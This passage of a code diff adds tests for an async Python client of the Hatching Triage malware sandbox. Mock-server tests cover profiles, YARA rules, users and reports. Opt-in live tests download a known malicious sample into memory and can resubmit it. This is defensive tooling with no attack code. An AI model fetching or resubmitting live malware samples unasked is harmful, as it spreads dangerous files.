60, + "network": "drop"} + + vpn = await client.submit_profile("vpn-us", ["windows10"], 60, "vpn", geolocation="us") + assert vpn.geolocation == "us" + assert fake.last()["json"] == {"name": "vpn-us", "tags": ["windows10"], "timeout": 60, + "network": "vpn", "geolocation": "us"} + assert await client.delete_profile("vpn-us") is None + err = await client.submit_profile("new", []) + assert err.error == "PROFILE_ALREADY_EXISTS" + + assert await client.update_profile(["windows10"], 90, "tor", "renamed", new.id) is None + assert fake.last()["method"] == "PUT" + assert fake.profiles[new.id]["name"] == "renamed" + + assert await client.delete_profile("renamed") is None + err = await client.delete_profile("renamed") + assert err.error == "NOT_FOUND" + + +async def test_yara(client, fake): + rules = await client.get_rules() + assert rules.rules[0].name == "fake_rule.yara" + rule = await client.get_rule("fake_rule.yara") + assert "pyhatching" in rule.rule + + assert await client.submit_rule("new.yara", "rule a { condition: true }") is None + assert fake.last()["json"] == {"name": "new.yara", "rule": "rule a { condition: true }"} + err = await client.submit_rule("bad.yara", "rule a {") + assert err.error == "COMPILE_ERROR" + assert await client.update_rule("new.yara", "rule b { condition: false }") is None + assert fake.rules["new.yara"]["rule"] == "rule b { condition: false }" + assert await client.delete_rule("new.yara") is None + assert (await client.delete_rule("new.yara")).error == "NOT_FOUND" + + +async def test_users(client, fake): + users = await client.get_users() + assert users[0].username == "analyst" + user = await client.get_user(ft.USER["id"]) + assert user.email == "analyst@example.com" + + new = await client.create_user("bob", "bob@example.com", password="pw", permissions=["admin"]) + assert new.username == "bob" and new.id + assert fake.last()["json"] == {"username": "bob", "email": "bob@example.com", + "password": "pw", "permissions": ["admin"]} + + named = await client.create_user(email="eve@example.com", name="Eve", role="admin", + email_confirmed=True) + assert named.name == "Eve" and named.role == "admin" + assert fake.last()["json"] == {"email": "eve@example.com", "email_confirmed": True, + "name": "Eve", "role": "admin"} + with pytest.raises(errors.PyHatchingValueError): + await client.create_user() + + key = await client.create_user_apikey(new.id, "ci") + assert key.name == "ci" and key.key + keys = await client.get_user_apikeys(new.id) + assert [k.name for k in keys] == ["ci"] + assert await client.delete_user_apikey(new.id, "ci") is None + assert await client.get_user_apikeys(new.id) == [] + + assert await client.delete_user(new.id) is None + assert (await client.get_user(new.id)).error == "NOT_FOUND" + + +async def test_urlscan(client, fake): + report = await client.urlscan_report(ft.SAMPLE_ID) + assert report["url"] == "http://evil.example.com/login" + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}/urlscan1/report_urlscan.json" + # Hash and full task IDs resolve too. + report = await client.urlscan_report(ft.SAMPLE_SHA256, f"{ft.SAMPLE_ID}-urlscan1") + assert report["verdict"]["score"] == 10 + err = await client.urlscan_report(ft.SAMPLE_ID, "urlscan9") + assert isinstance(err, base.ErrorResponse) and err.error == "REPORT_NOT_AVAILABLE" + + assert await client.task_screenshot(ft.SAMPLE_ID) == ft.SCREENSHOT_BYTES + assert fake.last()["path"].endswith("/urlscan1/screenshot.png") + + +async def test_magic_token(client, rclient, fake): + token = await client.magic_token(ft.SAMPLE_ID) + assert token == ft.MAGIC_TOKEN + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}/magic" + assert await client.magic_token(ft.SAMPLE_SHA256) == ft.MAGIC_TOKEN + assert await client.magic_token("a" * 64) is None + + err = await client.magic_token("nope") + assert isinstance(err, base.ErrorResponse) and err.error == "NOT_FOUND" + fake.org_settings["magic_link"]["enabled"] = False + err = await client.magic_token(ft.SAMPLE_ID) + assert isinstance(err, base.ErrorResponse) and err.error == "FORBIDDEN" + with pytest.raises(errors.PyHatchingApiError): + await rclient.magic_token(ft.SAMPLE_ID) + + +async def test_resources_and_geolocations(client, fake): + groups = await client.get_resources() + assert groups[0].resources[0].name == "win10v2004-20260901-en" + assert "os:windows10-2004-x64" in groups[0].resources[0].tags + assert fake.last()["path"] == "/api/v0/resources" + + geos = await client.get_geolocations() + assert [g.name for g in geos[0].geolocations] == ["us", "de"] + assert fake.last()["path"] == "/api/v0/geolocations" + + +async def test_stats(client, fake): + stats = await client.user_stats() + assert stats.samples_submitted == 1 + assert fake.last()["path"] == "/api/v0/stats/user" + stats = await client.org_stats() + assert stats.samples_submitted == 1 + assert fake.last()["path"] == "/api/v0/stats/org" + + +async def test_org_settings(client, fake): + settings = await client.get_org_settings() + assert settings.magic_link.enabled is True + + assert await client.set_magic_link(False) is None + assert fake.last()["json"] == {"enabled": False} + settings = await client.get_org_settings() + assert settings.magic_link.enabled is False + assert await client.set_magic_link(True) is None + + +async def test_non_json_error(client, fake): + # Unknown endpoints (aiohttp's own 404 page) still become an ErrorResponse. + resp, obj = await client._request("get", "/v9/nothing") # pylint: disable=W0212 + assert resp.status == 404 and obj["error"] == "NOT_FOUND" diff --git a/tests/test_live.py b/tests/test_live.py new file mode 100644 index 0000000..16619fe --- /dev/null +++ b/tests/test_live.py @@ -0,0 +1,337 @@ +"""Live tests for PyHatchingClient against the public Hatching Triage API (tria.ge). + +These tests are skipped unless ``HATCHING_TOKEN`` holds a tria.ge API key:: + + HATCHING_TOKEN= pytest tests/test_live.py -v + +They are read-only by default: they list and search public samples, pull every +report for a recent reported sample, and download (in memory only) small files. +Set ``HATCHING_LIVE_WRITE=1`` to also exercise the Yara and profile write +endpoints (objects named ``pyhatching-livetest-*`` are created and deleted). +Set ``HATCHING_LIVE_SUBMIT=1`` to also resubmit ``SUBMIT_SHA256``, an already +public sample Triage scores 10/10 - on the public cloud submissions are public and +can't be deleted, so this is opt-in. +""" + +import hashlib +import os + +import pytest + +import pyhatching +from pyhatching import base, enums, errors + + +TOKEN = os.environ.get("HATCHING_TOKEN", "") +LIVE_WRITE = os.environ.get("HATCHING_LIVE_WRITE") == "1" +LIVE_SUBMIT = os.environ.get("HATCHING_LIVE_SUBMIT") == "1" + +MAX_DOWNLOAD = 20 * 1024 * 1024 +"""Don't download samples bigger than this in the download tests.""" + +SUBMIT_SHA256 = "59f22c3963db921d3d7792c2980b1c4df3d72a7edbe8cf8520597fa50e0dbbc7" +"""The already public sample (score 10/10) that ``HATCHING_LIVE_SUBMIT`` resubmits.""" + +pytestmark = pytest.mark.skipif(not TOKEN, reason="HATCHING_TOKEN is not set") + +_CACHE: dict = {} +"""Discovered public samples, shared between tests to save API requests.""" + + +@pytest.fixture +async def client(): + async with pyhatching.PyHatchingClient(TOKEN) as cli: + yield cli + + +async def _reported_sample(client) -> base.SampleInfo: + """A recent, reported, public sample with a behavioral task (cached).""" + + if "sample" in _CACHE: + return _CACHE["sample"] + + async for info in client.iter_samples(enums.SampleSubsets.PUBLIC, limit=50): + if info.status != enums.SubmissionStatuses.REPORTED or info.kind != enums.SampleKinds.FILE: + continue + # The /samples listing omits ``tasks``; only GET /samples/{id} includes them. + if not info.tasks: + info = await client.get_sample(info.id) + if not isinstance(info, base.SampleInfo): + continue + if not any("behavioral" in task.id for task in info.tasks or []): + continue + _CACHE["sample"] = info + return info + + pytest.skip("No recent reported public sample with a behavioral task was found.") + + +async def _overview(client) -> base.OverviewReport: + if "overview" not in _CACHE: + sample = await _reported_sample(client) + report = await client.overview(sample.id) + assert isinstance(report, base.OverviewReport), f"overview failed: {report}" + _CACHE["overview"] = report + return _CACHE["overview"] + + +async def test_bad_key(): + async with pyhatching.PyHatchingClient("pyhatching-invalid-key") as cli: + err = await cli.get_samples(limit=1) + assert isinstance(err, base.ErrorResponse) + assert err.status == 401 and err.error == "UNAUTHORIZED" + + +async def test_list_public_samples(client): + samples = await client.get_samples(enums.SampleSubsets.PUBLIC, limit=5) + assert isinstance(samples, list) and len(samples) == 5 + assert all(isinstance(s, base.SampleInfo) and s.id for s in samples) + + # Pagination: two pages of two, no overlap, opaque offset round-trips. + page = await client.samples_page(enums.SampleSubsets.PUBLIC, limit=2) + assert isinstance(page, base.SamplesPage) and len(page.data) == 2 and page.next + page2 = await client.samples_page(enums.SampleSubsets.PUBLIC, limit=2, offset=page.next) + assert isinstance(page2, base.SamplesPage) and len(page2.data) == 2 + assert {s.id for s in page.data}.isdisjoint({s.id for s in page2.data}) + + +async def test_list_owned_samples(client): + samples = await client.get_samples(enums.SampleSubsets.OWNED, limit=5) + assert isinstance(samples, list) # May be empty for a fresh account. + + +async def test_search(client): + hits = await client.search(f"md5:{'0' * 32}", limit=1) + assert hits == [] # A hash that can't exist returns no hits, not an error. + + overview = await _overview(client) + if overview.sample.sha256: + hits = await client.search(f"sha256:{overview.sample.sha256}", limit=1) + assert len(hits) == 1 and hits[0].id + + hits = [s async for s in client.iter_search("tag:trojan", limit=5)] + assert len(hits) <= 5 + assert all(isinstance(s, base.SampleInfo) for s in hits) + + +async def test_get_sample_and_hash_resolution(client): + sample = await _reported_sample(client) + info = await client.get_sample(sample.id) + assert isinstance(info, base.SampleInfo) + assert info.id == sample.id and info.status == enums.SubmissionStatuses.REPORTED + + overview = await _overview(client) + if overview.sample.sha256: + # Search by hash resolves to a sample with those bytes - not always the + # same submission, duplicates return the most recent one. + resolved = await client.get_sample(overview.sample.sha256) + assert isinstance(resolved, base.SampleInfo) + + err = await client.get_sample("000000-aaaaaaaaaa") + assert isinstance(err, base.ErrorResponse) and err.error == "NOT_FOUND" + assert await client.get_sample("f" * 64) is None + + +async def test_overview_report(client): + overview = await _overview(client) + assert overview.sample.sha256 and len(overview.sample.sha256) == 64 + assert overview.analysis.score is not None + assert overview.tasks, "A reported sample should have task summaries." + # resp_obj never leaks into dumps. + assert "resp_obj" not in overview.dict() + + +async def test_static_report(client): + sample = await _reported_sample(client) + report = await client.static_report(sample.id) + assert isinstance(report, base.StaticReport), f"static report failed: {report}" + assert report.files, "A file sample's static report should list files." + assert report.files[0].sha256 + + +async def test_task_report(client): + overview = await _overview(client) + sample = await _reported_sample(client) + behavioral = next( + (t for t in overview.tasks or [] if (t.kind or "") == "behavioral"), None + ) + if behavioral is None: + pytest.skip("The picked sample has no behavioral task summary.") + + report = await client.task_report(sample.id, behavioral.name) + assert isinstance(report, base.TriageReport), f"task report failed: {report}" + assert report.analysis.score is not None + + err = await client.task_report(sample.id, "behavioral99") + assert isinstance(err, base.ErrorResponse) + assert err.error in ("NOT_FOUND", "NOT_AVAILABLE", "REPORT_NOT_AVAILABLE") + + +async def test_summary(client): + sample = await _reported_sample(client) + summary = await client.sample_summary(sample.id) + assert isinstance(summary, base.SampleSummary), f"summary failed: {summary}" + assert summary.sample == sample.id and summary.tasks + + +async def test_kernel_report(client): + overview = await _overview(client) + sample = await _reported_sample(client) + behavioral = next( + (t for t in overview.tasks or [] if (t.kind or "") == "behavioral"), None + ) + if behavioral is None: + pytest.skip("The picked sample has no behavioral task summary.") + + count = 0 + try: + async for event in client.kernel_report(sample.id, behavioral.name): + assert isinstance(event, dict) + count += 1 + if count >= 5: + break + except errors.PyHatchingApiError as err: + # Older or special analyses may not keep kernel logs. + assert err.error in ("NOT_FOUND", "NOT_AVAILABLE", "REPORT_NOT_AVAILABLE"), err + + +async def test_download_sample(client): + overview = await _overview(client) + sample = await _reported_sample(client) + if (overview.sample.size or 0) > MAX_DOWNLOAD: + pytest.skip("The picked sample is too big to download in a test.") + + byts = await client.download_sample(sample.id) + assert byts, "A public sample's bytes should be downloadable." + if overview.sample.sha256: + assert hashlib.sha256(byts).hexdigest() == overview.sample.sha256 + if overview.sample.size: + assert len(byts) == overview.sample.size + + chunks = [c async for c in client.iter_sample(sample.id, chunk_size=64 * 1024)] + assert b"".join(chunks) == byts + + assert await client.download_sample("f" * 64) is None + + +async def test_profiles_readonly(client): + profiles = await client.get_profiles() + assert isinstance(profiles, list) + for profile in profiles: + assert isinstance(profile, base.HatchingProfileResponse) and profile.name + + +async def test_yara_readonly(client): + rules = await client.get_rules() + assert isinstance(rules, base.YaraRules) + for rule in rules.rules: + assert rule.name + + +async def test_resources(client): + groups = await client.get_resources() + if isinstance(groups, base.ErrorResponse): + pytest.skip(f"Resources are not available to this account: {groups.error}") + assert isinstance(groups, list) and groups + tags = [t for g in groups for r in g.resources for t in r.tags] + assert any(t.startswith("os:") for t in tags) + + +async def test_geolocations(client): + groups = await client.get_geolocations() + if isinstance(groups, base.ErrorResponse): + pytest.skip(f"Geolocations are not available to this account: {groups.error}") + assert isinstance(groups, list) + + +async def test_stats(client): + stats = await client.user_stats() + if isinstance(stats, base.ErrorResponse): + pytest.skip(f"User stats are not available to this account: {stats.error}") + assert stats.samples_submitted is None or stats.samples_submitted >= 0 + + stats = await client.org_stats() + if isinstance(stats, base.ErrorResponse): + pytest.skip(f"Org stats are not available to this account: {stats.error}") + assert stats.samples_submitted is None or stats.samples_submitted >= 0 + + +async def test_private_endpoints_fail_gracefully(client): + """Private-instance endpoints return handled errors on the public cloud.""" + + ret = await client.get_users(limit=1) + assert isinstance(ret, (list, base.ErrorResponse)) + ret = await client.get_org_settings() + assert isinstance(ret, (base.OrgSettings, base.ErrorResponse)) + + +@pytest.mark.skipif(not LIVE_WRITE, reason="HATCHING_LIVE_WRITE is not set to 1") +async def test_yara_writes(client): + name = "pyhatching-livetest.yara" + rule = 'rule pyhatching_livetest { strings: $a = "pyhatching livetest" condition: $a }' + await client.delete_rule(name) # Clean up older runs, NOT_FOUND is fine. + + assert await client.submit_rule(name, rule) is None + try: + got = await client.get_rule(name) + assert isinstance(got, base.YaraRule) and "pyhatching livetest" in (got.rule or "") + + updated = rule.replace("livetest", "livetest2") + assert await client.update_rule(name, updated) is None + + err = await client.submit_rule(name, "rule broken {") + assert isinstance(err, base.ErrorResponse) + finally: + assert await client.delete_rule(name) is None + err = await client.delete_rule(name) + assert isinstance(err, base.ErrorResponse) and err.error == "NOT_FOUND" + + +@pytest.mark.skipif(not LIVE_WRITE, reason="HATCHING_LIVE_WRITE is not set to 1") +async def test_profile_writes(client): + name = "pyhatching-livetest" + existing = await client.get_profile(name) + if isinstance(existing, base.HatchingProfileResponse): + await client.delete_profile(name) # Clean up older runs. + + new = await client.submit_profile(name, ["windows10"], 60, "drop") + assert isinstance(new, base.HatchingProfileResponse), f"profile create failed: {new}" + try: + got = await client.get_profile(name) + assert isinstance(got, base.HatchingProfileResponse) + assert await client.update_profile(["windows10"], 90, "drop", name, name) is None + finally: + assert await client.delete_profile(name) is None + + +@pytest.mark.skipif(not LIVE_SUBMIT, reason="HATCHING_LIVE_SUBMIT is not set to 1") +async def test_resubmit_flagged_sample(client): + """Download the pinned, already public, 10/10 sample and resubmit it. + + Submissions are public on tria.ge and NOT deletable, so this is opt-in. It + always resubmits ``SUBMIT_SHA256`` so no new file is ever made public. The + sample is only ever held in memory. + """ + + summary = await client.sample_summary(SUBMIT_SHA256) + assert isinstance(summary, base.SampleSummary), f"pinned sample not found: {summary}" + assert summary.sha256 == SUBMIT_SHA256 + # Triage scores 1 (no threat detected, i.e. clean) to 10 (known bad). + assert summary.score == 10, f"pinned sample's score is {summary.score}, not 10" + + data = await client.download_sample(SUBMIT_SHA256) + assert data, "pinned sample could not be downloaded" + assert hashlib.sha256(data).hexdigest() == SUBMIT_SHA256 + + req = base.SubmissionRequest( + kind="file", target=SUBMIT_SHA256, user_tags=["pyhatching-livetest"] + ) + sample = await client.submit_sample(req, data) + assert isinstance(sample, base.SamplesResponse), f"submission failed: {sample}" + assert sample.id and sample.id != summary.sample + assert sample.kind == enums.SampleKinds.FILE + + # The events stream reports the sample's current status on connect. + async for event in client.sample_events(sample.id): + assert event.id == sample.id and event.status + break